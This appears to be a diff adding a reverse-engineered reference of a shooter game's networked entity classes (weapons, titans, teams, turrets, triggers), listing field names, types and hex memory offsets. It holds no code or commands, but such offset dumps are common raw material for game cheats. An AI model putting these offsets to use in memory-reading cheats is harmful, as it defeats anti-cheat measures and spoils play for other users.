+class DT_TEExplosion extends DT_TEParticleSystem + +``` +{ + m_fScale: Float, + m_nFrameRate: Int, + m_nFlags: Int, + m_vecNormal: Vector, + m_chMaterialType: Int, + m_nRadius: Int, + m_nInnerRadius: Int, + m_nMagnitude: Int, + m_impactEffectTableIndex: Int, + m_surfaceProp: Int, + m_owner: Int, + m_victim: Int, +} +``` + +### Offsets + +``` +DT_TEExplosion!0x0038 m_fScale +DT_TEExplosion!0x003c m_nFrameRate +DT_TEExplosion!0x0040 m_nFlags +DT_TEExplosion!0x0044 m_vecNormal +DT_TEExplosion!0x0050 m_chMaterialType +DT_TEExplosion!0x0054 m_nRadius +DT_TEExplosion!0x0058 m_nInnerRadius +DT_TEExplosion!0x005c m_nMagnitude +DT_TEExplosion!0x0060 m_impactEffectTableIndex +DT_TEExplosion!0x0064 m_surfaceProp +DT_TEExplosion!0x0068 m_owner +DT_TEExplosion!0x006c m_victim +``` +
+
+class DT_TEPhysicsProp extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_angRotation.x: Float, + m_angRotation.y: Float, + m_angRotation.z: Float, + m_vecVelocity: Vector, + m_nModelIndex: Int, + m_nSkin: Int, + m_nFlags: Int, + m_nEffects: Int, +} +``` + +### Offsets + +``` +DT_TEPhysicsProp!0x0028 m_vecOrigin +DT_TEPhysicsProp!0x0034 m_angRotation.x +DT_TEPhysicsProp!0x0038 m_angRotation.y +DT_TEPhysicsProp!0x003c m_angRotation.z +DT_TEPhysicsProp!0x0040 m_vecVelocity +DT_TEPhysicsProp!0x004c m_nModelIndex +DT_TEPhysicsProp!0x0050 m_nSkin +DT_TEPhysicsProp!0x0054 m_nFlags +DT_TEPhysicsProp!0x0058 m_nEffects +``` +
+
+class DT_TEProjectileTrail extends DT_BaseTempEntity + +``` +{ + m_owner: Int, + m_startPos: Vector, + m_endPos: Vector, + m_weaponClassIndex: Int, + m_modBitfield: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, +} +``` + +### Offsets + +``` +DT_TEProjectileTrail!0x0028 m_owner +DT_TEProjectileTrail!0x002c m_startPos +DT_TEProjectileTrail!0x0038 m_endPos +DT_TEProjectileTrail!0x0044 m_weaponClassIndex +DT_TEProjectileTrail!0x0048 m_modBitfield +DT_TEProjectileTrail!0x004c m_projectileTrailIndex +DT_TEProjectileTrail!0x0050 m_impactEffectTable +``` +
+
+class DT_TEScriptParticleSystem extends DT_BaseTempEntity + +``` +{ + m_effectIndex: Int, + m_origin: Vector, + m_angles: Vector, + m_controlPoint1: Vector, +} +``` + +### Offsets + +``` +DT_TEScriptParticleSystem!0x0028 m_effectIndex +DT_TEScriptParticleSystem!0x002c m_origin +DT_TEScriptParticleSystem!0x0038 m_angles +DT_TEScriptParticleSystem!0x0044 m_controlPoint1 +``` +
+
+class DT_TEScriptParticleSystemOnEntity extends DT_BaseTempEntity + +``` +{ + m_effectIndex: Int, + m_ent: Int, + m_attachType: Int, + m_attachmentIndex: Int, + m_attachType2: Int, + m_attachmentIndex2: Int, +} +``` + +### Offsets + +``` +DT_TEScriptParticleSystemOnEntity!0x0028 m_effectIndex +DT_TEScriptParticleSystemOnEntity!0x002c m_ent +DT_TEScriptParticleSystemOnEntity!0x0030 m_attachType +DT_TEScriptParticleSystemOnEntity!0x0034 m_attachmentIndex +DT_TEScriptParticleSystemOnEntity!0x0038 m_attachType2 +DT_TEScriptParticleSystemOnEntity!0x003c m_attachmentIndex2 +``` +
+
+class DT_TEShatterSurface extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_vecAngles: Vector, + m_vecForce: Vector, + m_vecForcePos: Vector, + m_flWidth: Float, + m_flHeight: Float, + m_flShardSize: Float, + m_nSurfaceType: Int, +} +``` + +### Offsets + +``` +DT_TEShatterSurface!0x0028 m_vecOrigin +DT_TEShatterSurface!0x0034 m_vecAngles +DT_TEShatterSurface!0x0040 m_vecForce +DT_TEShatterSurface!0x004c m_vecForcePos +DT_TEShatterSurface!0x0058 m_flWidth +DT_TEShatterSurface!0x005c m_flHeight +DT_TEShatterSurface!0x0060 m_flShardSize +DT_TEShatterSurface!0x0064 m_nSurfaceType +``` +
+
+class DT_Team + +``` +{ + player_array_element: Int, + "player_array": Array, + m_score: Int, + m_score2: Int, + m_kills: Int, + m_deaths: Int, + m_iRoundsWon: Int, + m_iTeamTeamNum: Int, + m_szTeamname: String, + m_reservedPlayerCount: Int, + m_connectingPlayerCount: Int, + m_loadingPlayerCount: Int, +} +``` + +### Offsets + +``` +DT_Team!0x0000 player_array_element +DT_Team!0x0000 "player_array" +DT_Team!0x0a40 m_score +DT_Team!0x0a44 m_score2 +DT_Team!0x0a48 m_kills +DT_Team!0x0a4c m_deaths +DT_Team!0x0a50 m_iRoundsWon +DT_Team!0x0a54 m_iTeamTeamNum +DT_Team!0x0a78 m_szTeamname +DT_Team!0x0b78 m_reservedPlayerCount +DT_Team!0x0b7c m_connectingPlayerCount +DT_Team!0x0b80 m_loadingPlayerCount +``` +
+
+class DT_ThirdPersonView + +``` +{ + m_thirdPersonEntViewOffset.x: Float, + m_thirdPersonEntViewOffset.y: Float, + m_thirdPersonEntViewOffset.z: Float, + m_thirdPersonEntShouldViewAnglesFollowThirdPersonEnt: Int, + m_thirdPersonEntPitchIsFreelook: Int, + m_thirdPersonEntYawIsFreelook: Int, + m_thirdPersonEntUseFixedDist: Int, + m_thirdPersonEntFixedClientOnly: Int, + m_thirdPersonEntPushedInByGeo: Int, + m_thirdPersonEntDrawViewmodel: Int, + m_thirdPersonEntEnableCameraLag: Int, + m_thirdPersonEntFreezeLookControls: Int, + m_thirdPersonEntBlendInTotalDuration: Float, + m_thirdPersonEntBlendInEaseInDuration: Float, + m_thirdPersonEntBlendInEaseOutDuration: Float, + m_thirdPersonEntBlendOutDuration: Float, + m_thirdPersonEntFixedPitch: Float, + m_thirdPersonEntFixedYaw: Float, + m_thirdPersonEntFixedDist: Float, + m_thirdPersonEntFixedHeight: Float, + m_thirdPersonEntFixedRight: Float, + m_thirdPersonEntMinYaw: Float, + m_thirdPersonEntMaxYaw: Float, + m_thirdPersonEntMinPitch: Float, + m_thirdPersonEntMaxPitch: Float, + m_thirdPersonEntSpringToCenterRate: Float, + m_thirdPersonEntSpringToCenterDelay: Float, + m_thirdPersonEntLookaheadLowerEntSpeed: Float, + m_thirdPersonEntLookaheadUpperEntSpeed: Float, + m_thirdPersonEntLookaheadMaxAngle: Float, + m_thirdPersonEntLookaheadLerpAheadRate: Float, + m_thirdPersonEntLookaheadLerpToCenterRate: Float, +} +``` + +### Offsets + +``` +DT_ThirdPersonView!0x0000 m_thirdPersonEntViewOffset.x +DT_ThirdPersonView!0x0004 m_thirdPersonEntViewOffset.y +DT_ThirdPersonView!0x0008 m_thirdPersonEntViewOffset.z +DT_ThirdPersonView!0x000c m_thirdPersonEntShouldViewAnglesFollowThirdPersonEnt +DT_ThirdPersonView!0x000d m_thirdPersonEntPitchIsFreelook +DT_ThirdPersonView!0x000e m_thirdPersonEntYawIsFreelook +DT_ThirdPersonView!0x000f m_thirdPersonEntUseFixedDist +DT_ThirdPersonView!0x0010 m_thirdPersonEntFixedClientOnly +DT_ThirdPersonView!0x0011 m_thirdPersonEntPushedInByGeo +DT_ThirdPersonView!0x0012 m_thirdPersonEntDrawViewmodel +DT_ThirdPersonView!0x0013 m_thirdPersonEntEnableCameraLag +DT_ThirdPersonView!0x0014 m_thirdPersonEntFreezeLookControls +DT_ThirdPersonView!0x0018 m_thirdPersonEntBlendInTotalDuration +DT_ThirdPersonView!0x001c m_thirdPersonEntBlendInEaseInDuration +DT_ThirdPersonView!0x0020 m_thirdPersonEntBlendInEaseOutDuration +DT_ThirdPersonView!0x0024 m_thirdPersonEntBlendOutDuration +DT_ThirdPersonView!0x0028 m_thirdPersonEntFixedPitch +DT_ThirdPersonView!0x002c m_thirdPersonEntFixedYaw +DT_ThirdPersonView!0x0030 m_thirdPersonEntFixedDist +DT_ThirdPersonView!0x0034 m_thirdPersonEntFixedHeight +DT_ThirdPersonView!0x0038 m_thirdPersonEntFixedRight +DT_ThirdPersonView!0x0050 m_thirdPersonEntMinYaw +DT_ThirdPersonView!0x0054 m_thirdPersonEntMaxYaw +DT_ThirdPersonView!0x0058 m_thirdPersonEntMinPitch +DT_ThirdPersonView!0x005c m_thirdPersonEntMaxPitch +DT_ThirdPersonView!0x0060 m_thirdPersonEntSpringToCenterRate +DT_ThirdPersonView!0x0064 m_thirdPersonEntSpringToCenterDelay +DT_ThirdPersonView!0x0068 m_thirdPersonEntLookaheadLowerEntSpeed +DT_ThirdPersonView!0x006c m_thirdPersonEntLookaheadUpperEntSpeed +DT_ThirdPersonView!0x0070 m_thirdPersonEntLookaheadMaxAngle +DT_ThirdPersonView!0x0074 m_thirdPersonEntLookaheadLerpAheadRate +DT_ThirdPersonView!0x0078 m_thirdPersonEntLookaheadLerpToCenterRate +``` +
+
+class DT_TitanSoul + +``` +{ + statuseffectsdata_soul: DT_TitanSoul_StatusEffects, + m_bossPlayer: Int, + m_shieldHealth: Int, + m_shieldHealthMax: Int, + m_networkedFlags: Int, + m_titan: Int, + m_titanSoulScriptNetData: Int, + m_lastRodeoHitTime: Time, + m_nextCoreChargeAvailable: Time, + m_coreChargeExpireTime: Time, + m_coreChargeStartTime: Time, + m_coreUseDuration: Time, + m_damageComboLatestUpdateTime: Time, + m_damageComboStartHealth: Int, + m_stance: Int, + m_doomed: Int, + m_playerSettingsNum: BitMask, + m_invalidHealthBarEnt: Int, + m_bEjecting: Int, + m_isValidRodeoTarget: Int, +} +``` + +### Offsets + +``` +DT_TitanSoul!0x0000 statuseffectsdata_soul +DT_TitanSoul!0x0124 m_bossPlayer +DT_TitanSoul!0x0170 m_shieldHealth +DT_TitanSoul!0x0174 m_shieldHealthMax +DT_TitanSoul!0x03d4 m_networkedFlags +DT_TitanSoul!0x0a40 m_titan +DT_TitanSoul!0x0a48 m_titanSoulScriptNetData +DT_TitanSoul!0x0be0 m_lastRodeoHitTime +DT_TitanSoul!0x0be8 m_nextCoreChargeAvailable +DT_TitanSoul!0x0bf0 m_coreChargeExpireTime +DT_TitanSoul!0x0bf8 m_coreChargeStartTime +DT_TitanSoul!0x0bfc m_coreUseDuration +DT_TitanSoul!0x0c00 m_damageComboLatestUpdateTime +DT_TitanSoul!0x0c04 m_damageComboStartHealth +DT_TitanSoul!0x0da8 m_stance +DT_TitanSoul!0x0dac m_doomed +DT_TitanSoul!0x0db0 m_playerSettingsNum +DT_TitanSoul!0x0db8 m_invalidHealthBarEnt +DT_TitanSoul!0x0db9 m_bEjecting +DT_TitanSoul!0x0dba m_isValidRodeoTarget +``` +
+
+class DT_TitanSoul_StatusEffects + +``` +{ + m_statusEffectsTimedTitanSoulNV: DataTable, + m_statusEffectsEndlessTitanSoulNV: DataTable, +} +``` + +### Offsets + +``` +DT_TitanSoul_StatusEffects!0x0c08 m_statusEffectsTimedTitanSoulNV +DT_TitanSoul_StatusEffects!0x0cf8 m_statusEffectsEndlessTitanSoulNV +``` +
+
+class DT_TriggerCylinderHeavy extends DT_BaseTrigger + +``` +{ + m_triggerFilterMask: BitMask, + m_radius: Float, + m_aboveHeight: Float, + m_belowHeight: Float, + m_teslaTrapBaseHeight: Float, + m_vertOverride: Float, + m_launchPower: Float, + m_punchSoftAmount: Float, + m_punchHardAmount: Float, + m_punchRandomBoost: Float, + m_gravityLiftUpSpeed: Float, + m_gravityLiftMoveSpeed: Float, + m_gravityLiftToCenterSpeed: Float, + m_gravityLiftEjectUpSpeed: Float, + m_gravityLiftEjectForwardSpeed: Float, + m_crowdPusherRadius: Float, + m_crowdPusherArcDeg: Float, + m_crowdPusherPower: Float, + m_crowdPusherShovePower: Float, + m_triggerType: Int, + m_teslaTrapFXVisible: Int, + m_teslaTrapObstructedEndTime: Time, + m_teslaTrapStart: Int, + m_teslaTrapEnd: Int, + m_teslaTrapUp: Vector, + m_launchDir: Vector, +} +``` + +### Offsets + +``` +DT_TriggerCylinderHeavy!0x0ac0 m_triggerFilterMask +DT_TriggerCylinderHeavy!0x0ac8 m_radius +DT_TriggerCylinderHeavy!0x0acc m_aboveHeight +DT_TriggerCylinderHeavy!0x0ad0 m_belowHeight +DT_TriggerCylinderHeavy!0x0ad4 m_teslaTrapBaseHeight +DT_TriggerCylinderHeavy!0x0ad8 m_vertOverride +DT_TriggerCylinderHeavy!0x0adc m_launchPower +DT_TriggerCylinderHeavy!0x0ae0 m_punchSoftAmount +DT_TriggerCylinderHeavy!0x0ae4 m_punchHardAmount +DT_TriggerCylinderHeavy!0x0ae8 m_punchRandomBoost +DT_TriggerCylinderHeavy!0x0aec m_gravityLiftUpSpeed +DT_TriggerCylinderHeavy!0x0af0 m_gravityLiftMoveSpeed +DT_TriggerCylinderHeavy!0x0af4 m_gravityLiftToCenterSpeed +DT_TriggerCylinderHeavy!0x0af8 m_gravityLiftEjectUpSpeed +DT_TriggerCylinderHeavy!0x0afc m_gravityLiftEjectForwardSpeed +DT_TriggerCylinderHeavy!0x0b00 m_crowdPusherRadius +DT_TriggerCylinderHeavy!0x0b04 m_crowdPusherArcDeg +DT_TriggerCylinderHeavy!0x0b08 m_crowdPusherPower +DT_TriggerCylinderHeavy!0x0b0c m_crowdPusherShovePower +DT_TriggerCylinderHeavy!0x0b10 m_triggerType +DT_TriggerCylinderHeavy!0x0b14 m_teslaTrapFXVisible +DT_TriggerCylinderHeavy!0x0b1c m_teslaTrapObstructedEndTime +DT_TriggerCylinderHeavy!0x0b20 m_teslaTrapStart +DT_TriggerCylinderHeavy!0x0b24 m_teslaTrapEnd +DT_TriggerCylinderHeavy!0x0b28 m_teslaTrapUp +DT_TriggerCylinderHeavy!0x0b34 m_launchDir +``` +
+
+class DT_TriggerPointGravity extends DT_BaseTrigger + +``` +{ + m_pullOuterRadius: Float, + m_pullInnerRadius: Float, + m_reduceSpeedOuterRadius: Float, + m_reduceSpeedInnerRadius: Float, + m_pullAccel: Float, + m_pullSpeed: Float, +} +``` + +### Offsets + +``` +DT_TriggerPointGravity!0x0ac0 m_pullOuterRadius +DT_TriggerPointGravity!0x0ac4 m_pullInnerRadius +DT_TriggerPointGravity!0x0ac8 m_reduceSpeedOuterRadius +DT_TriggerPointGravity!0x0acc m_reduceSpeedInnerRadius +DT_TriggerPointGravity!0x0ad0 m_pullAccel +DT_TriggerPointGravity!0x0ad4 m_pullSpeed +``` +
+
+class DT_Turret extends DT_BaseAnimatingOverlay + +``` +{ + m_iHealth: Int, + m_iMaxHealth: Int, + m_overlayEventParity: DataTable, + m_settingsIndex: Int, + m_driver: Int, + m_forceAimPitch: Float, + m_forceAimYaw: Float, + m_driverDetachTime: Float, + m_driverState: Int, + m_turretWeapon: Int, + m_title: String, +} +``` + +### Offsets + +``` +DT_Turret!0x0420 m_iHealth +DT_Turret!0x0550 m_iMaxHealth +DT_Turret!0x1711 m_overlayEventParity +DT_Turret!0x1988 m_settingsIndex +DT_Turret!0x19b8 m_driver +DT_Turret!0x19e0 m_forceAimPitch +DT_Turret!0x19e4 m_forceAimYaw +DT_Turret!0x19e8 m_driverDetachTime +DT_Turret!0x19ec m_driverState +DT_Turret!0x19f0 m_turretWeapon +DT_Turret!0x19fc m_title +``` +
+
+class DT_VGuiScreen extends DT_BaseEntity + +``` +{ + m_flWidth: Float, + m_flHeight: Float, + m_nPanelName: Int, + m_nAttachmentIndex: Int, + m_nOverlayMaterial: Int, + m_fScreenFlags: Int, + m_hPlayerOwner: Int, +} +``` + +### Offsets + +``` +DT_VGuiScreen!0x0a40 m_flWidth +DT_VGuiScreen!0x0a44 m_flHeight +DT_VGuiScreen!0x0a50 m_nPanelName +DT_VGuiScreen!0x0a6c m_nAttachmentIndex +DT_VGuiScreen!0x0a70 m_nOverlayMaterial +DT_VGuiScreen!0x0a74 m_fScreenFlags +DT_VGuiScreen!0x0ad8 m_hPlayerOwner +``` +
+
+class DT_VehicleDriverExclusive + +``` +{ + m_hoverVehicleHoverOffsetPrev: Array, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, + m_hoverVehicleHoverOffsetPrev[0]: Float, + m_hoverVehicleSmoothTilt: Vector, + m_hoverVehicleSmoothTiltVelocity: Vector, + m_hoverVehicleSmoothYaw: Float, + m_hoverVehicleSmoothYawVelocity: Float, + m_hoverVehicleLookAheadAcceleration: Vector, + m_hoverVehicleDebugFlyMode: Int, + m_hoverVehiclePhysPush: Vector, + m_pushedFixedPointOffset: DataTable, +} +``` + +### Offsets + +``` +DT_VehicleDriverExclusive!0x0000 m_hoverVehicleHoverOffsetPrev +DT_VehicleDriverExclusive!0x0004 m_localOrigin +DT_VehicleDriverExclusive!0x000c m_localOrigin.z +DT_VehicleDriverExclusive!0x19e0 m_hoverVehicleHoverOffsetPrev[0] +DT_VehicleDriverExclusive!0x1a50 m_hoverVehicleSmoothTilt +DT_VehicleDriverExclusive!0x1a5c m_hoverVehicleSmoothTiltVelocity +DT_VehicleDriverExclusive!0x1a68 m_hoverVehicleSmoothYaw +DT_VehicleDriverExclusive!0x1a6c m_hoverVehicleSmoothYawVelocity +DT_VehicleDriverExclusive!0x1a70 m_hoverVehicleLookAheadAcceleration +DT_VehicleDriverExclusive!0x1a84 m_hoverVehicleDebugFlyMode +DT_VehicleDriverExclusive!0x1ab8 m_hoverVehiclePhysPush +DT_VehicleDriverExclusive!0x1bd8 m_pushedFixedPointOffset +``` +
+
+class DT_VehicleNonDriverExclusive + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, +} +``` + +### Offsets + +``` +DT_VehicleNonDriverExclusive!0x004c m_cellX +DT_VehicleNonDriverExclusive!0x0050 m_cellY +DT_VehicleNonDriverExclusive!0x0054 m_cellZ +DT_VehicleNonDriverExclusive!0x0058 m_localOrigin +DT_VehicleNonDriverExclusive!0x0060 m_localOrigin.z +``` +
+
+class DT_VortexSphere extends DT_BaseEntity + +``` +{ + m_spawnflags: Int, + m_iHealth: Int, + m_enabled: Int, + m_radius: Float, + m_height: Float, + m_bulletFov: Float, + m_bulletAbsorbedCount: Int, + m_projectileAbsorbedCount: Int, + m_ownerWeapon: Int, + m_vortexEffect: Int, + m_vortexLocalAngles: Vector, + m_gunAttachment: String, +} +``` + +### Offsets + +``` +DT_VortexSphere!0x0094 m_spawnflags +DT_VortexSphere!0x0420 m_iHealth +DT_VortexSphere!0x0a40 m_enabled +DT_VortexSphere!0x0a44 m_radius +DT_VortexSphere!0x0a48 m_height +DT_VortexSphere!0x0a4c m_bulletFov +DT_VortexSphere!0x0a50 m_bulletAbsorbedCount +DT_VortexSphere!0x0a54 m_projectileAbsorbedCount +DT_VortexSphere!0x0a58 m_ownerWeapon +DT_VortexSphere!0x0a5c m_vortexEffect +DT_VortexSphere!0x0a60 m_vortexLocalAngles +DT_VortexSphere!0x0a70 m_gunAttachment +``` +
+
+class DT_WeaponInventory + +``` +{ + weapons: DataTable, + offhandWeapons: DataTable, + activeWeapons: DataTable, +} +``` + +### Offsets + +``` +DT_WeaponInventory!0x0008 weapons +DT_WeaponInventory!0x0030 offhandWeapons +DT_WeaponInventory!0x0068 activeWeapons +``` +
+
+class DT_WeaponInventoryActiveWeaponOnly + +``` +{ + activeWeapons: DataTable, +} +``` + +### Offsets + +``` +DT_WeaponInventoryActiveWeaponOnly!0x0068 activeWeapons +``` +
+
+class DT_WeaponPlayerData + +``` +{ + m_moveSpread: Float, + m_spreadStartTime: Time, + m_spreadStartFracHip: Float, + m_spreadStartFracADS: Float, + m_kickSpreadHipfire: Float, + m_kickSpreadADS: Float, + m_kickTime: Time, + m_kickScaleBasePitch: Float, + m_kickScaleBaseYaw: Float, + m_kickPatternScaleBase: Float, + m_kickSpringHeatBaseTime: Time, + m_kickSpringHeatBaseValue: Float, + m_semiAutoTriggerHoldTime: Time, + m_semiAutoTriggerDown: Int, + m_pendingTriggerPull: Int, + m_semiAutoNeedsRechamber: Int, + m_pendingReloadAttempt: Int, + m_offhandHybridNormalMode: Int, + m_pendingoffhandHybridToss: Int, + m_fastHolster: Int, + m_didFirstDeploy: Int, + m_shouldCatch: Int, + m_clipModelIsHidden: Int, + m_segmentedReloadEndSeqRequired: Int, + m_reloadStartedEmpty: Int, + m_segmentedAnimStartedOneHanded: Int, + m_segmentedReloadCanRestartLoop: Int, + m_segmentedReloadLoopFireLocked: Int, + m_realtimeModCmds: DataTable, + m_realtimeModCmdHead: Int, + m_realtimeModCmdCount: Int, + m_customActivityAttachedModelIndex: Int, + m_customActivityAttachedModelAttachmentIndex: Int, + m_fireRateLerp_startTime: Time, + m_fireRateLerp_startFraction: Float, + m_fireRateLerp_stopTime: Time, + m_fireRateLerp_stopFraction: Float, + m_chargeAnimIndex: Int, + m_chargeAnimIndexOld: Int, + m_proScreen_owner: Int, + m_proScreen_int0: Int, + m_proScreen_int1: Int, + m_proScreen_int2: Int, + m_proScreen_float0: Float, + m_proScreen_float1: Float, + m_proScreen_float2: Float, + m_reloadMilestone: Int, + m_rechamberMilestone: Int, + m_cooldownMilestone: Int, + m_prevSeqWeight: Int, + m_fullReloadStartTime: Time, + m_scriptTime0: Time, + m_scriptFlags0: Int, + m_scriptInt0: Int, + m_curZoomFOV: Float, + m_targetZoomFOV: Float, + m_zoomFOVLerpTime: Float, + m_zoomFOVLerpEndTime: Time, + m_latestDryfireTime: Time, + m_requestedAttackEndTime: Time, + m_currentAltFireAnimIndex: Int, + m_legendaryModelIndex: Int, + m_charmModelIndex: Int, + m_charmAttachment: Int, + m_charmScriptIndex: Int, +} +``` + +### Offsets + +``` +DT_WeaponPlayerData!0x0008 m_moveSpread +DT_WeaponPlayerData!0x000c m_spreadStartTime +DT_WeaponPlayerData!0x0010 m_spreadStartFracHip +DT_WeaponPlayerData!0x0014 m_spreadStartFracADS +DT_WeaponPlayerData!0x0018 m_kickSpreadHipfire +DT_WeaponPlayerData!0x001c m_kickSpreadADS +DT_WeaponPlayerData!0x0020 m_kickTime +DT_WeaponPlayerData!0x0024 m_kickScaleBasePitch +DT_WeaponPlayerData!0x0028 m_kickScaleBaseYaw +DT_WeaponPlayerData!0x002c m_kickPatternScaleBase +DT_WeaponPlayerData!0x0030 m_kickSpringHeatBaseTime +DT_WeaponPlayerData!0x0034 m_kickSpringHeatBaseValue +DT_WeaponPlayerData!0x0038 m_semiAutoTriggerHoldTime +DT_WeaponPlayerData!0x003c m_semiAutoTriggerDown +DT_WeaponPlayerData!0x003d m_pendingTriggerPull +DT_WeaponPlayerData!0x003e m_semiAutoNeedsRechamber +DT_WeaponPlayerData!0x003f m_pendingReloadAttempt +DT_WeaponPlayerData!0x0040 m_offhandHybridNormalMode +DT_WeaponPlayerData!0x0041 m_pendingoffhandHybridToss +DT_WeaponPlayerData!0x0042 m_fastHolster +DT_WeaponPlayerData!0x0043 m_didFirstDeploy +DT_WeaponPlayerData!0x0044 m_shouldCatch +DT_WeaponPlayerData!0x0045 m_clipModelIsHidden +DT_WeaponPlayerData!0x0046 m_segmentedReloadEndSeqRequired +DT_WeaponPlayerData!0x0047 m_reloadStartedEmpty +DT_WeaponPlayerData!0x0048 m_segmentedAnimStartedOneHanded +DT_WeaponPlayerData!0x0049 m_segmentedReloadCanRestartLoop +DT_WeaponPlayerData!0x004a m_segmentedReloadLoopFireLocked +DT_WeaponPlayerData!0x004b m_realtimeModCmds +DT_WeaponPlayerData!0x0053 m_realtimeModCmdHead +DT_WeaponPlayerData!0x0054 m_realtimeModCmdCount +DT_WeaponPlayerData!0x0058 m_customActivityAttachedModelIndex +DT_WeaponPlayerData!0x005c m_customActivityAttachedModelAttachmentIndex +DT_WeaponPlayerData!0x0060 m_fireRateLerp_startTime +DT_WeaponPlayerData!0x0064 m_fireRateLerp_startFraction +DT_WeaponPlayerData!0x0068 m_fireRateLerp_stopTime +DT_WeaponPlayerData!0x006c m_fireRateLerp_stopFraction +DT_WeaponPlayerData!0x0070 m_chargeAnimIndex +DT_WeaponPlayerData!0x0074 m_chargeAnimIndexOld +DT_WeaponPlayerData!0x0078 m_proScreen_owner +DT_WeaponPlayerData!0x007c m_proScreen_int0 +DT_WeaponPlayerData!0x0080 m_proScreen_int1 +DT_WeaponPlayerData!0x0084 m_proScreen_int2 +DT_WeaponPlayerData!0x0088 m_proScreen_float0 +DT_WeaponPlayerData!0x008c m_proScreen_float1 +DT_WeaponPlayerData!0x0090 m_proScreen_float2 +DT_WeaponPlayerData!0x0094 m_reloadMilestone +DT_WeaponPlayerData!0x0098 m_rechamberMilestone +DT_WeaponPlayerData!0x009c m_cooldownMilestone +DT_WeaponPlayerData!0x00a0 m_prevSeqWeight +DT_WeaponPlayerData!0x00a4 m_fullReloadStartTime +DT_WeaponPlayerData!0x00a8 m_scriptTime0 +DT_WeaponPlayerData!0x00ac m_scriptFlags0 +DT_WeaponPlayerData!0x00b0 m_scriptInt0 +DT_WeaponPlayerData!0x00b4 m_curZoomFOV +DT_WeaponPlayerData!0x00b8 m_targetZoomFOV +DT_WeaponPlayerData!0x00bc m_zoomFOVLerpTime +DT_WeaponPlayerData!0x00c0 m_zoomFOVLerpEndTime +DT_WeaponPlayerData!0x00c4 m_latestDryfireTime +DT_WeaponPlayerData!0x00c8 m_requestedAttackEndTime +DT_WeaponPlayerData!0x00cc m_currentAltFireAnimIndex +DT_WeaponPlayerData!0x00d0 m_legendaryModelIndex +DT_WeaponPlayerData!0x00d4 m_charmModelIndex +DT_WeaponPlayerData!0x00d8 m_charmAttachment +DT_WeaponPlayerData!0x00dc m_charmScriptIndex +``` +
+
+class DT_WeaponX extends DT_BaseAnimating + +``` +{ + LocalWeaponData: DT_WeaponX_LocalWeaponData, + predictingClientOnly: DT_WeaponX_PredictingClientOnly, + m_networkedFlags: Int, + m_bClientSideAnimation: Int, + m_weaponOwner: Int, + m_worldModelIndexOverride: Int, + m_iWorldModelIndex: Int, + m_holsterModelIndex: Int, + m_droppedModelIndex: Int, + m_nIdealSequence: Int, + m_IdealActivity: Int, + m_weaponActivity: Int, + m_ActiveState: Int, + m_weapState: Int, + m_allowedToUse: Int, + m_discarded: Int, + m_forcedADS: Int, + m_tossRelease: Int, + m_customActivity: Int, + m_customActivitySequence: Int, + m_customActivityOwner: Int, + m_customActivityEndTime: Time, + m_customActivityFlags: Int, + m_playerData: DT_WeaponPlayerData, + m_lastTossedGrenade: Int, + m_targetingLaserEnabledScript: Int, + m_needsReloadCheck: Int, + m_needsEmptyCycleCheck: Int, + m_skinOverride: Int, + m_skinOverrideIsValid: Int, + m_chargeStartTime: Time, + m_chargeEndTime: Time, + m_lastChargeFrac: Float, + m_sustainedDischargeEndTime: Time, + m_sustainedLaserCurrentSpread: Float, + m_sustainedDischargeIsInPrimaryAttack: Int, + m_sustainedLaserNextRandomSeed: Int, + m_modBitfieldFromPlayer: Int, + m_modBitfieldInternal: Int, + m_modBitfieldCurrent: Int, + m_curSharedEnergyCost: Int, + m_grappleWeaponNeedsDryfire: Int, + m_scriptActivated: Int, + m_isLoadoutPickup: Int, + m_utilityEnt: Int, + m_weaponNameIndex: Int, + m_shouldPlayIdleAnims: Int, + m_oaActiveOverride: Int, + m_parentTurret: Int, +} +``` + +### Offsets + +``` +DT_WeaponX!0x0000 LocalWeaponData +DT_WeaponX!0x0000 predictingClientOnly +DT_WeaponX!0x03d4 m_networkedFlags +DT_WeaponX!0x1020 m_bClientSideAnimation +DT_WeaponX!0x1600 m_weaponOwner +DT_WeaponX!0x1614 m_worldModelIndexOverride +DT_WeaponX!0x1618 m_iWorldModelIndex +DT_WeaponX!0x161c m_holsterModelIndex +DT_WeaponX!0x1620 m_droppedModelIndex +DT_WeaponX!0x1624 m_nIdealSequence +DT_WeaponX!0x1628 m_IdealActivity +DT_WeaponX!0x162c m_weaponActivity +DT_WeaponX!0x1630 m_ActiveState +DT_WeaponX!0x1644 m_weapState +DT_WeaponX!0x1648 m_allowedToUse +DT_WeaponX!0x1649 m_discarded +DT_WeaponX!0x164c m_forcedADS +DT_WeaponX!0x1650 m_tossRelease +DT_WeaponX!0x1654 m_customActivity +DT_WeaponX!0x1658 m_customActivitySequence +DT_WeaponX!0x165c m_customActivityOwner +DT_WeaponX!0x1660 m_customActivityEndTime +DT_WeaponX!0x1664 m_customActivityFlags +DT_WeaponX!0x1668 m_playerData +DT_WeaponX!0x1748 m_lastTossedGrenade +DT_WeaponX!0x174c m_targetingLaserEnabledScript +DT_WeaponX!0x174d m_needsReloadCheck +DT_WeaponX!0x174e m_needsEmptyCycleCheck +DT_WeaponX!0x1750 m_skinOverride +DT_WeaponX!0x1754 m_skinOverrideIsValid +DT_WeaponX!0x1758 m_chargeStartTime +DT_WeaponX!0x175c m_chargeEndTime +DT_WeaponX!0x1760 m_lastChargeFrac +DT_WeaponX!0x1788 m_sustainedDischargeEndTime +DT_WeaponX!0x178c m_sustainedLaserCurrentSpread +DT_WeaponX!0x1790 m_sustainedDischargeIsInPrimaryAttack +DT_WeaponX!0x1791 m_sustainedLaserNextRandomSeed +DT_WeaponX!0x1794 m_modBitfieldFromPlayer +DT_WeaponX!0x1798 m_modBitfieldInternal +DT_WeaponX!0x179c m_modBitfieldCurrent +DT_WeaponX!0x17a0 m_curSharedEnergyCost +DT_WeaponX!0x17a4 m_grappleWeaponNeedsDryfire +DT_WeaponX!0x17a5 m_scriptActivated +DT_WeaponX!0x17a6 m_isLoadoutPickup +DT_WeaponX!0x17a8 m_utilityEnt +DT_WeaponX!0x17b0 m_weaponNameIndex +DT_WeaponX!0x17bc m_shouldPlayIdleAnims +DT_WeaponX!0x17c0 m_oaActiveOverride +DT_WeaponX!0x17c4 m_parentTurret +``` +
+
